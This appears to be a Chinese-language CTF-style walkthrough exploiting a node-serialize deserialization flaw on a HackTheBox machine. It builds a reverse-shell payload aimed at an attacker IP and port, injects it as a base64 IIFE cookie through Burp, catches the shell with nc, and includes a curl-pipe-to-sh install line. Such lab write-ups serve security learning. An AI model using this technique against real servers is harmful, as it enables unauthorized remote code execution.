NodeJS反序列化漏洞利用getshell
node.js是一個伺服器端的運行環境,封裝了Google V8引擎,V8引擎執行JavaScript速度非常快,性能非常好。Node.js進行了一些優化並提供替代API,這使得Google V8引擎能夠在非瀏覽器環境下更有效的運行。
但是node.js的序列化過程中依然存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。
漏洞演示環境
靶機:hackthebox節點伺服器
攻擊機:Kali Linux
安裝工具:nodejs,npm,nodejs toolkit,node-serialize
關於漏洞(反序列化攻擊)
不受信任的數據傳遞到unserialize()函數,導致我們可以利用JavaScript對象的立即執行函數表達式也就是IIFE來執行任意代碼。
第一步就是安裝nodejs,通過apt-get命令進行安裝,如下圖
apt-get install nodejs
第二步,使用curl命令安裝npm(需要用npm來安裝node-serialize包),命令如下:
curl -L https://www.npmjs.com/install.sh | sh
當你安裝和配置好了nodejs和npm之後,你就可以通過npm來安裝node-serialize包了,輸入以下命令即可:
npm install node-serialize
另一方面,我們已經連接到了hackthebox伺服器,它的節點伺服器存在漏洞,IP是10.10.10.85:3000(節點伺服器上運行著nodejs express 框架,可以通過nmap來確認)
現在我們開始演示
首先,我們配置好Burp的代理設置,然後向剛才存在漏洞的IP發起請求,用Burp抓包攔截,如圖:
接著選擇cookie值發送到decoder模塊進行解碼,如圖:
這個應用程序的漏洞就是從HTTP請求的cookie中讀取profile的值,進行base64解碼後傳遞給unserialize()函數。由於cookie輸入是不可信的,攻擊者可以精心構造惡意cookie值來利用此漏洞。
接著我們需要下載nodejs security toolkit(nodejs安全工具包)。
在終端中輸入以下命令來下載工具包:
git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
切換到下載的文件夾,執行以下命令來創建反向shell payload,這個payload會把JavaScript代碼當成字元串來執行。
python nodejsshell.py 10.10.14.145 4443
不過首先我們得輸入ifconfig來查看自己的IP地址, 然後再執行命令來創建payload,如圖:
下圖就是最終的反向shell payload:
現在我們用下面的JavaScript代碼來生成序列化的payload
var y = {
rce : function() {}
}
var serialize = require(『node-serialize』);
console.log(「Serialized:
」 + serialize.serialize(y));
將剛才生成的payload放到花括弧里,如圖:
將文件保存為exploit.js,然後使用node命令執行腳本來生成最終序列化的payload:
現在回到Burp中,切換到decoder模塊並粘貼上圖中的輸出代碼到文本框中解碼成字元串,解碼之前,在函數體後面加上IIFE圓括弧():
然後需要對字元串進行base64編碼
向10.10.10.85:3000發出請求,攔截,發送到repeater模塊中,
在repeater模塊中,我們把cookie里的值替換成上面我們剛生成的payload,然後點擊go按鈕
同時,在你的攻擊機kali上監聽4443埠(也就是反向shell payload里的埠)
一旦你點擊了「go」按鈕,伺服器接收到請求,返回200 OK響應碼,並顯示一條錯誤消息」 An error occurred…invalid username type」,同時在nc終端中,你會看到你已經與伺服器建立了連接,狀態為「connected」,然後你就可以任意執行系統命令了,如圖:
TAG:嘶吼RoarTalk |